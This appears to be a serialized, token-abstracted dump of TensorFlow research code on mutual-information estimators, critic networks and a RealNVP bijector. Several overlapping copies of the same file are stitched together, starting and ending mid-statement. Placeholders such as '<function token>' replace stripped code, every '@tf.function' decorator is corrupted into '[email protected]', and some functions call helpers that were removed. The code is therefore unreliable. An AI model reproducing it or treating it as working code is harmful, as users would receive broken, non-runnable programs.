tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n<function token>\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, 